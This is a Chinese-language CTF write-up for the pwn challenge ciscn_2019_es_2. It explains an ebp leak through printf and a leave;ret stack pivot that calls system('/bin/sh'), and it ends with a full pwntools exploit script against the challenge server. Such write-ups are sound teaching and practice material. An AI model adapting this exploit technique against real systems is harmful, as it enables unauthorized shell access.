ciscn_2019_es_2

发布时间 2023-08-08 12:53:07作者: lmarch2

ciscn_2019_es_2

0x01

32位开NX,有system函数,但是需要传入binsh。

image-20230808113405078

然而,栈上变量 s 位于 ebp-0x28,而 read 函数仅能读入0x30个字节,那么若想实施缓冲区溢出,只有0x08 = 0x30-0x28个字节供我们进行布局。因此,在只有 ebpret 能被篡改的条件下可尝试使用栈迁移。

image-20230808110517945

程序存在leave ret指令,并且存在system函数可执行

而binsh则需要在栈上传入

So,我们最终要将 esp(与 ebp)劫持到当前栈的另一区域上,以完成传统栈溢出payload的实施

在本题中,劫持目标地址即为缓冲区变量 s 的起始地址

0x02

第一步,泄露出ebp,通过ebp+偏移量的方法计算栈上地址

printf函数在未遇到"\x00"时会一直输出,可以用来泄露出ebp的值

因为栈上地址间的相对位置是确定的,所以我们可以通过第二次输入的位置和泄露的ebp地址的偏移来定位我们的目标地址

在第二次输入read函数返回处下断点调试,计算可得泄露ebp与缓冲区起始位置相距0x38

image-20230808112121242

第二步 栈迁移

精心构造栈上的布局来实现栈迁移

0x03

此处盗图,已标明

画栈图有助于理解整个流程

image-20230808113204424

整个长条表示read读入的字节长度0x30,old_ebp表示泄露的ebp,减去0x38指向的就是变量s的起始位置,返回地址被覆盖为leav_ret的地址。

第一次自带的leave指令执行后,ebp的值为old_ebp - 0x38 ,esp指向篡改的返回地址leave_ret;接着执行ret指令pop eip再一次执行leave ret

第二次leave指令执行后,esp指向ebp+4也就是图中'aaaa'的下一位,ebp的值仍为old_ebp - 0x38 ;此时已经完成栈迁移。接下来ret指令将ebp+4弹入eip执行,所以在aaaa之后的地址需要放置我们的system函数和binsh

image-20230808114650151

binsh和其地址都可以在迁移过后的栈上布局

0x04

exp

from pwn import *

p = remote("node4.buuoj.cn", 28160)

system_addr = 0x08048400
leave_ret = 0x080484b8

payload1 = b'A' * (0x27) + b'B'
p.send(payload1) # not sendline
p.recvuntil("B")
original_ebp = u32(p.recv(4))
print(hex(original_ebp))

payload2 = b'aaaa' # for location, start of hijaction
payload2 += p32(system_addr)
payload2 += b'dddd' # fake stack ebp
payload2 += p32(original_ebp - 0x28) # addr of binsh
payload2 += b'/bin/sh\x00' # at ebp-0x28
payload2 = payload2.ljust(0x28, b'p')

payload2 += p32(original_ebp - 0x38) # hijack ebp ,-0x38 is the aaaa
payload2 += p32(leave_ret) # new leave ret

p.sendline(payload2)
p.interactive()